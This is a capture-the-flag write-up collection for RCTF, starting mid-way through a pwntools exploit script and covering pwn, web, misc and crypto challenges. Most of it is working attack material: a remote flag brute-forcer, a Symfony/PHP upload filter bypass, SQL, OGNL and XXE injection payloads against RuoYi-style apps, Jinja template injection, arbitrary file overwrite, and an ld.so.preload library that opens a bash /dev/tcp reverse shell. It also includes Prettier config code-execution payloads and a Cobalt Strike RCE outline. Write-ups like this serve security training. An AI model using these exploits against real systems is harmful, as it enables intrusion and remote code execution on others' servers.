left_size = file_size - 0x36 - len(data)
print("len(data): ", hex(len(data)))
if count_idx == 0:
data_size = msg_size
if msg_size > len(data):
msg_size = len(data)
if msg_size > MAX_BLOCK_SIZE:
msg_size = MAX_BLOCK_SIZE
count_idx += 1
bit_val = 0
bit_count = 0
for i in range(msg_size):
val = ord(data[i])
if (val & 1) == 1:
bit_val |= (1 << bit_count)
bit_count += 1
if bit_count == 8:
data_all += p8(bit_val)
bit_count = 0
bit_val = 0
print("file_size1: ", hex(file_size))
print("msg_size2: ", hex(msg_size))
print("data_all: ", hex(len(data_all)))
print("data_size>>3: ", hex(data_size>>3))
if len(data_all) == (data_size>>3):
break
print("data: ", data_all)
return data_all
def delete_data(io, idx):
m_c(io, 3)
s_i(io, idx)
def list_data(io):
m_c(io, 4)
def pwn(io):
show_debug_info(True)
flag = "flag{U_90t_th3_p1c5t0re_fl49!}"
for i in range(30):
if i % 2 == 0:
payload = flag[i:i+2] + "\x00"
upload_data(io, payload, 0x28)
else:
upload_data(io, "ii\x00", 0x28)
m_c(io, 5)
io.interactive()
exit(0)
import sys
if len(sys.argv) >= 2 and sys.argv[1][0] in "rR":
is_local = False
else:
is_local = True
is_dbg = True
#is_dbg = False
binary_path = "./picStore"
ip, port = "49.0.203.6 3498".split(" ")
port = int(port, 10)
libc_file_path = ""
#libc_file_path = "./libc.so.6"
bin_elf = ELF(binary_path)
if is_local:
libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc_elf = ELF("./libc_target.so.6")
if is_local:
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
show_debug_info(True)
target = binary_path
else:
show_debug_info(False)
target = (ip, port)
show_debug_info(False)
while True:
#target = "./lua ./picStore_test.lua"
io = get_io(target)
if pwn(io) == True:
print("break?")
break
io.close()
rdefender
exp
import string
from pwn import *
#context.log_level='debug'
flag = ""
for i in range(100):
found = False
for j in string.printable:
pos = i
guess = ord(j)
prog = b"\x00%c\x01%c\x03\x01\x05" % (guess,pos)
c = remote("94.74.84.207", 7892)
cmd = b"\x02\x02\xd1f\x9c\x89\xf3["
c.send(cmd)
c.send(p32(len(prog)))
c.send(prog)
c.recv(8)
cmd = b"\x01\x00\x00".ljust(8)
c.send(cmd)
res = c.recv(8)
if res[0] == 1:
found = True
flag += j
elif res[0] != 2:
print("error res")
exit()
c.close()
if not found:
print("not found at",i)
exit()
print(flag)
WEB
easy_upload
How to Setup Environment
docker-compose up -d
Write Up
I found a funny issue when I have no idea about challenge.
https://github.com/php/php-src/issues/9008
It cause strange result.
<?php
$string = "PHP";
mb_detect_order(["ASCII","UTF-8","BASE64"]);
var_dump(
mb_detect_encoding($string, null, true),
mb_detect_encoding($string, mb_detect_order(), true),
mb_convert_encoding($string, "UTF-8", "BASE64"),
mb_strtolower($string, "BASE64"),
);
Output for 8.2.0
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="
Output for 8.0.1 - 8.0.26, 8.1.10 - 8.1.13
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="
Output for 8.1.0 - 8.1.9
string(6) "BASE64"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="
I search it in github and found that Symfony\Component\Filesystem\Path::getExtension
will call mb_detect_encoding
when enable $forceLowerCase
which means that it can bypass extension black list. Like following code:
<?php
$path = "webshell.PHP";
$disable_ext = ["php"];
$ext = Symfony\Component\Filesystem\Path::getExtension($path, true);
if(in_array($ext, $disable_ext)){
die("hack go away");
}
UploadController
has two limitations:
- content check
- extension check
bypass content check
$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
if(false !== $charset){
if($charset == "BASE64"){
$content = base64_decode($content);
}
foreach ($this->content_blacklist as $v) {
if(stristr($content, $v)!==false){
return $this->invalid("fucking $v .");
}
}
}else{
return $this->invalid("fucking invalid format.");
}
If we can cheat mb_detect_encoding recognize invalid BASE64 string as BASE64 then the check fails.
mb_detect_encoding("\xffPHP<?php phpinfo();");
=> BASE64
bypass extension check
$ext = Path::getExtension($file["name"], true);
if(strstr($file["name"], "..")!==false){
return $this->$this->invalid("fucking path travel");
}
foreach ($this->ext_blacklist as $v){
if (strstr($ext, $v) !== false){
return $this->invalid("fucking $ext extension.");
}
}
...
$result = move_uploaded_file($file["tmp_name"], "$dir/upload/".strtolower($file["name"]));
Path::getExtension($file["name"], true)
, the second argument force the extionsion to be in lower case.
So using PHP
extension seems not able to bypass blacklist. But actually it can.
Symfony use the following code to lower extension.
private static function toLower(string $string): string
{
if (false !== $encoding = mb_detect_encoding($string, null, true)) {
return mb_strtolower($string, $encoding);
}
return strtolower($string);
}
mb_detect_encoding("PHP", null, true)
=> BASE64
mb_strtolower("PHP", "BASE64")
=> PHM=
Exploit
test.PHP
xff<?php phpinfo();
ezruoyi
Look at wp and notice that there is already a pull request, but the master branch still contains the old vulnerable code https://gitee.com/y_project/RuoYi/pulls/403
admin/admin123 Login
Java code restricts only create
create as select error injection
POST /tool/gen/createTable HTTP/1.1
Host: local:8899
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://local:8899/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8f6ed770-51d2-4124-9d4a-dfb4276cfb82
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
sql=create+table+notexist11+as+select/**/gtid_subset(flag,1) from flag;
ezbypass
Permission Bypass
index;123.ico
Ognl injection bypassing quote filtering
${@java.lang.Character@toString(39)}or 1)limit 1#
See the shorter payload learned by wp
${"abc\47) OR 1=1;-- -"}
Xxe encoding bypassed, the encoding will be parsed when the construction Function parameter type is stream, and exp will be constructed
public static void main(String[] args) throws Exception {
String body = "<!DOCTYPE test [ \n"
+ "\t<!ENTITY xxe SYSTEM \"file:///flag\"> \n"
+ "]> \n"
+ "<wsw>&xxe;</wsw>";
String type = "UTF-32";
String poc = new String(Base64.getEncoder().encode(body.getBytes(type)));
System.out.println(poc);
}
import requests
burp0_url = "http://localhost:8899/index;123.ico"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"password": "${@java.lang.Character@toString(39)}or 1)limit 1#", "poc": "AAAAPAAAACEAAABEAAAATwAAAEMAAABUAAAAWQAAAFAAAABFAAAAIAAAAHQAAABlAAAAcwAAAHQAAAAgAAAAWwAAACAAAAAKAAAACQAAADwAAAAhAAAARQAAAE4AAABUAAAASQAAAFQAAABZAAAAIAAAAHgAAAB4AAAAZQAAACAAAABTAAAAWQAAAFMAAABUAAAARQAAAE0AAAAgAAAAIgAAAGYAAABpAAAAbAAAAGUAAAA6AAAALwAAAC8AAAAvAAAAZgAAAGwAAABhAAAAZwAAACIAAAA+AAAAIAAAAAoAAABdAAAAPgAAACAAAAAKAAAAPAAAAHcAAABzAAAAdwAAAD4AAAAmAAAAeAAAAHgAAABlAAAAOwAAADwAAAAvAAAAdwAAAHMAAAB3AAAAPg==", "type": "jjj", "yourclasses": "java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
filechecker_mini
- solved: 88/363
- flag:
RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}
The server runs the file command on the uploaded file and passes the output to Flask’s render_template_string. So we can do template injection as long as we control the output.
The easiest solution
https://github.com/file/file/blob/master/tests/cmd1.testfile
https://github.com/file/file/blob/master/tests/cmd1.result
The content of the build file is as follows
#!/usr/cmd/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
Upload this file and you will get the flag
Other interesting solutions
1 modify the interpreter of linux executables
cp /bin/file filetest
patchelf --set-interpreter "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" filetest
curl -F 'file-upload=@/mnt/d/Desktop/filetest' http://159.138.107.47:13001/
You can also modify the BuildID of the linux executable
2 gzip controls a file name file
touch "{{config.__class__.__init__.__globals__['os'].popen('cat \x2fflag').read()}}"
gzip \{\{config.__class__.__init__.__globals__\[\'os\'\].popen\(\'cat\ \\x2fflag\'\).read\(\)\}\}
mv \{\{config.__class__.__init__.__globals__\[\'os\'\].popen\(\'cat\ \\x2fflag\'\).read\(\)\}\}.gz 1.gz
curl -F 'file-upload=@/mnt/d/Desktop/1.gz' http://159.138.107.47:13001/
3 Modifying the image copyright will also take effect
There are many ways to control the command output, so I won’t go into details here
filechecker_plus
- solved: 39/363
- flag:
RCTF{III_W4nt_Gir1Friendssssss_Thi5_Christm4ssss~~~~}
To diff the two zips, I found out that template injection is no longer possible and the web service is running with root privileges.
os.path.exists(filepath) and ".." in filepath:
The check for path traversal and existing file is an and. That means we can overwrite files if we don’t use ‘..’ .
To disable directory traversal for “..”, I added this logic. This is a logic error, I should replace and with or. qwq
A small trick for os.path.join
>>> import os
>>> os.path.join("/app/upload/","test")
'/app/upload/test'
>>> os.path.join("/app/upload/","/tmp/test")
'/tmp/test'
Now we can overwrite any file, so it is very easy to solve this challenge.
Send the following http package and you will get the flag
POST / HTTP/1.1
Host: 159.138.110.192:23002
Content-Length: 211
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Origin: http://159.138.110.192:23002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuhKRbyDeYPB8r5MS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryuhKRbyDeYPB8r5MS
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: text/plain
#!/bin/bash
cat /flag
------WebKitFormBoundaryuhKRbyDeYPB8r5MS--
Of course you can also upload a linux executable file or overwrite index.html to get the flag. 🙂
filechecker_pro_max
- solved: 17/363
- flag:
RCTF{I_Giveeeeeee_Y0oOu_Fl4gsssss_You_G1ve_M3_GirlFriendsssssssssss}
This time, we can’t overwrite any files. We have to get RCE only by creating new ones.
Use strace to trace what happens when the file command is executed
strace file /etc/passwd 2>&1 | grep "No such file or directory"
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/home/liao/.magic.mgc", 0x7ffd2bb0bcd0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/home/liao/.magic", 0x7ffd2bb0bcd0, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/magic.mgc", O_RDONLY) = -1 ENOENT (No such file or directory)
We can create a “/etc/ld.so.preload” file that includes “/app/upload/mylseek.so” so that the library is loaded when the server executes the file
command.
mylseek.c
#include <unistd.h>
#include "syscall.h"
#include <stdio.h>
#include <stdlib.h>
off_t lseek(int fd, off_t offset, int whence)
{
remove("/etc/ld.so.preload"); //without this, the exploit would recursively load mylseek.so
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
#ifdef SYS__llseek
off_t result;
return syscall(SYS__llseek, fd, offset>>32, offset, &result, whence) ? -1 : result;
#else
return syscall(SYS_lseek, fd, offset, whence);
#endif
}
gcc mylseek.c -o mylseek.so –shared -fPIC
Of course you can diy your so. 🙂
ld.so.preload
/app/upload/mylseek.so
We then just need a race condition when both of the files are present when file is executed.
Use burpsuite’s intruder module to upload these two files in multiple threads for a race condition.
mylseek.so -> /app/upload/mylseek.so
ld.so.preload -> /etc/ld.so.preload
perttieronline
My solution
#!/usr/bin/node
filepath:
// .prettierrc accepts JSON and YAML
// YAML xxx: syntax is label statement in JavaScript
var pp = require('./node_modules/prettier/parser-espree.js').parsers.espree.parse;
var fs = require('fs');
var oldWFS = fs.writeFileSync
// Bypass `process.exit()`
process.reallyExit = () => {}
// Bypass `throw new Exception`
process.on('uncaughtException', () => {})
module.exports = function(code,...a) {
fs.writeFileSync = function(file, data, options) {
if (/ret.js/.test(file)) {
// Dynamic import statement cannot be hooked
// All processes of Prettier are synchronous operations, dynamic import is an asynchronous operation and cannot be accessed inside Prettier.
// Therefore we can only process from the output data after the execution of Prettier is finished.
import('child_process').then(cp => {
const ret = cp.execSync('/readflag').toString('utf-8')
oldWFS.call(oldWFS, file, ret, options)
})
} else {
return oldWFS.apply(oldWFS, arguments)
}
}
return pp.call(pp,code,...a)
}
# Prettier will require custom parser here
parser: './.prettierrc'
trailingComma: 'es5'
tabWidth: 4
semi: false
singleQuote: true
Other interesting solutions
parser: ".prettierrc"
a: /*
# */ ;module.exports = () => ({"type":"File","program":{"type":"Program","body":[],"directives":[{"type":"Directive","value":{"type":"DirectiveLiteral","extra":{"raw":JSON.stringify(module.constructor._load('child_process').execSync('/readflag').toString())}}}]}});
// This is require('module')._load
parser: ".prettierrc"
foo: module.exports=_=>module.constructor._load('child_process').execSync('cat ./flag').toString()
{
parser: ".prettierrc",
/x|x/.__proto__.test=()=>true,
module.exports=()=>require("child_process").execSync("pwd;cat flag").toString()
}
// Hook RegExp.prototype.test
c3
c3,Command and Control.
If Cobalt Strike teamserver (default port 50050) or Listener is opened on the target server, how can it be compromised?
I.e. CVE-2022-39197 Exploitation in real environment.
Challenge Environments:
- cs 4.3
- Java 8
Step 1 – Get Stager
Cobalt Strike turns on stager by default and provides access by short URI, which is a common feature, but most do some simple hardening, such as modifying the default value of checksum. But there are other features, such as GET stager
, to download stager.
res = requests_raw.raw(url='http://159.138.146.89', data=b"GET stager HTTP/1.1\r\n\r\n")
with open('stager', 'wb') as f:
f.write(res.content)
Step 2 – Forged beacons construct legitimate packets
The c2profile used in the challenge is from https://github.com/threatexpress/malleable-c2.
Extract the downloaded stager to get the public key and the communication format.
Step 3 – Swing RCE
There are many ways to trigger the RCE, but only non-interactive payload can get the flag.
From the black box perspective, just try a few more methods, and the challenge opened Credentials window.
For the vulnerability itself, there are many analysis articles online.
MISC
ezPVZ
level1
Use Cheat Engine to modify the value of sunlight in memory.
level2
Find out where the zombie blood is located in computer memory
First scan selects unknown initial value.
After that, every time the zombie is hit by the shooter, select the changed value to scan once, and finally locate the position of the zombie’s blood volume in the memory
Right-click -> find out what access this address. Pay attention to one of the instructions, and speculate that it may be the logic of zombie blood loss
Change add dword ptr [r8+r9+34],02
to add dword ptr [r8+r9+34],7f
, and find that the zombie dies immediately, thus proving
level3
The CD of plants is very long, you can modify the CD.
Keep scanning with changed value, and finally filter the very large values, you can see that the fives values in consecutive memories are the same.
Change them to big values, the CD will be restored immediately.
After passing the final level, you will get the flag
Catspy
https://github.com/Threonine/rctf_challenge/blob/main/resnet50.ipynb
ezhook
Find the native implementation in the jdk
https://gorden5566.com/post/1027.html
hook native method
exp.js
//windows
// var module = Module.findExportByName("jvm.dll", "JVM_CurrentTimeMillis");
//linux
// var module = Module.findExportByName("libjvm.so", "JVM_CurrentTimeMillis");
//all
var module = Module.findExportByName(null, "JVM_CurrentTimeMillis");
// console.log(module);
Interceptor.attach(module, {
onEnter: function (args) {
console.log("[] native onEnter...");
},
onLeave: function (retval) {
console.log("[] native onLeave...");
console.log('[] return: ' + retval);
retval.replace(1609430400000);//2021/1/1 0:0:0
console.log('[] return replace: ' + retval);
}
});
ez_alien
Two pictures are given in the title attachment. Open alient.bmp with tools such as 01 editor. At the last line, you can see a string of visible characters cHdkPSJOMGJPZHlfbDB2ZXNfTWUi. Performing base64 decoding,you will get
pwd="N0bOdy_l0ves_Me"
This is the decompression password of the compressed package.
Decompress the file and check it with the DIE tool. It is an exe execution file. Add the suffix and run to view the error message.
pygame 2.1.2 (SDL 2.0.18, Python 3.8.6)
Hello from the pygame community. https://www.pygame.org/contribute.html
Traceback (most recent call last):
File "alien_invasion.py", line 222, in <module>
File "alien_invasion.py", line 27, in __init__
File "ship.py", line 12, in __init__
FileNotFoundError: No file './ship.bmp' found in working directory C:\****\attachment\alien_invasion'.
It can be found that this is an exe executable compiled by the python project.Use the pyinstxtractor. py tool to process many files, including pyc. At the same time, we get a message that the Python version is 3.8.
Find alient_ Invasion in the directory,which is a special file with a modified suffix of Pyc. It is parsed into a py file by using the uncomppyle tool. However, an error is reported because the header information is lost. So you need to find the header information of Python 3.8. The first 16 bytes are as follows. Use winhex to repair the file.
The obtained py file displays the imported self written library.
from settings import Settings
from ship import Ship
from bullet import Bullet
from alien import Alien
from time import sleep //useless
from game_stats import GameStats
from button import Button
from scoreboard import ScoreBoard
At the same time, we found the string s=b’VTJreE0yNWpNdz09 ‘.
The rest of the strings are scattered in the above self writing library (excluding time). Recover these pyc files in the same way, find other strings, and decode them twice with base64 to get 10 words and characters
Si13nc3
15
nEvEr
9ivin9
up
&&
6ut
h01din9
On
Si13nT1y
The final question is how to form a sentence. I would like to say sorry to my friends from abroad who participated in the competition. At that time, I did not take into account the differences in understanding the sentences.I directly translated my mood one night.“沉寂从来不是放弃,而是默默坚守”. I’m very sorry for the long time of perplexing you all.
RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}
Crypto
https://hackmd.io/@GowLxW7-TTGIMIQqhgOUlw/H1_a_rHOi#magic_sign